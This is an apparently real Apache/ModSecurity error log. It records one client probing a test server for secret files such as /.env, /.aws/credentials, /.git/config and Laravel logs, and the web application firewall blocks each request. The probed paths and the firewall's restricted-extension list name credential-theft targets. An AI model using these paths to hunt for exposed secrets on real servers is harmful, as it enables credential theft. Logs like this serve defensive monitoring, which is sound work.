[Mon Jun 30 11:32:26.468995 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /server/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/.env&quot;] [unique_id &quot;aGJZquohZhhhenRd2sInhQAAAAE&quot;]
[Mon Jun 30 11:32:26.469249 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/.env&quot;] [unique_id &quot;aGJZquohZhhhenRd2sInhQAAAAE&quot;]
[Mon Jun 30 11:32:26.469474 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/.env&quot;] [unique_id &quot;aGJZquohZhhhenRd2sInhQAAAAE&quot;]
[Mon Jun 30 11:32:26.529231 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aGJZquohZhhhenRd2sInhgAAAAE&quot;]
[Mon Jun 30 11:32:26.529481 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aGJZquohZhhhenRd2sInhgAAAAE&quot;]
[Mon Jun 30 11:32:26.529750 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aGJZquohZhhhenRd2sInhgAAAAE&quot;]
[Mon Jun 30 11:32:26.650329 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aGJZquohZhhhenRd2sIniAAAAAE&quot;]
[Mon Jun 30 11:32:26.650603 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aGJZquohZhhhenRd2sIniAAAAAE&quot;]
[Mon Jun 30 11:32:26.650796 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aGJZquohZhhhenRd2sIniAAAAAE&quot;]
[Mon Jun 30 11:32:26.709059 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Warning. Matched phrase &quot;.aws/config&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/config found within REQUEST_FILENAME: /.aws/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config&quot;] [unique_id &quot;aGJZquohZhhhenRd2sIniQAAAAE&quot;]
[Mon Jun 30 11:32:26.709308 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config&quot;] [unique_id &quot;aGJZquohZhhhenRd2sIniQAAAAE&quot;]
[Mon Jun 30 11:32:26.709532 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config&quot;] [unique_id &quot;aGJZquohZhhhenRd2sIniQAAAAE&quot;]
[Mon Jun 30 11:32:30.273138 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGJZruohZhhhenRd2sInmAAAAAE&quot;]
[Mon Jun 30 11:32:30.273410 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGJZruohZhhhenRd2sInmAAAAAE&quot;]
[Mon Jun 30 11:32:30.273635 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGJZruohZhhhenRd2sInmAAAAAE&quot;]
[Mon Jun 30 11:32:31.285124 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Warning. Matched phrase &quot;/.gitignore&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.gitignore found within REQUEST_FILENAME: /.gitignore&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitignore&quot;] [unique_id &quot;aGJZr-ohZhhhenRd2sInmQAAAAE&quot;]
[Mon Jun 30 11:32:31.285469 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitignore&quot;] [unique_id &quot;aGJZr-ohZhhhenRd2sInmQAAAAE&quot;]
[Mon Jun 30 11:32:31.285723 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitignore&quot;] [unique_id &quot;aGJZr-ohZhhhenRd2sInmQAAAAE&quot;]
[Mon Jun 30 11:32:31.345245 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Warning. Matched phrase &quot;.gitlab-ci.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .gitlab-ci.yml found within REQUEST_FILENAME: /.gitlab-ci.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitlab-ci.yml&quot;] [unique_id &quot;aGJZr-ohZhhhenRd2sInmgAAAAE&quot;]
[Mon Jun 30 11:32:31.345488 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitlab-ci.yml&quot;] [unique_id &quot;aGJZr-ohZhhhenRd2sInmgAAAAE&quot;]
[Mon Jun 30 11:32:31.345692 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitlab-ci.yml&quot;] [unique_id &quot;aGJZr-ohZhhhenRd2sInmgAAAAE&quot;]
[Mon Jun 30 11:32:31.757867 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Warning. Matched phrase &quot;.idea&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .idea found within REQUEST_FILENAME: /.idea/workspace.xml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.idea/workspace.xml&quot;] [unique_id &quot;aGJZr-ohZhhhenRd2sInnAAAAAE&quot;]
[Mon Jun 30 11:32:31.758116 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.idea/workspace.xml&quot;] [unique_id &quot;aGJZr-ohZhhhenRd2sInnAAAAAE&quot;]
[Mon Jun 30 11:32:31.758315 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.idea/workspace.xml&quot;] [unique_id &quot;aGJZr-ohZhhhenRd2sInnAAAAAE&quot;]
[Mon Jun 30 11:32:33.005188 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/laravel.log&quot;] [unique_id &quot;aGJZseohZhhhenRd2sInngAAAAE&quot;]
[Mon Jun 30 11:32:33.005722 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/laravel.log&quot;] [unique_id &quot;aGJZseohZhhhenRd2sInngAAAAE&quot;]
[Mon Jun 30 11:32:33.005981 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/laravel.log&quot;] [unique_id &quot;aGJZseohZhhhenRd2sInngAAAAE&quot;]
[Mon Jun 30 11:32:33.066501 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/error.log&quot;] [unique_id &quot;aGJZseohZhhhenRd2sInnwAAAAE&quot;]
[Mon Jun 30 11:32:33.066857 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/error.log&quot;] [unique_id &quot;aGJZseohZhhhenRd2sInnwAAAAE&quot;]
[Mon Jun 30 11:32:33.067062 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/error.log&quot;] [unique_id &quot;aGJZseohZhhhenRd2sInnwAAAAE&quot;]
[Mon Jun 30 11:32:33.126599 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/debug.log&quot;] [unique_id &quot;aGJZseohZhhhenRd2sInoAAAAAE&quot;]
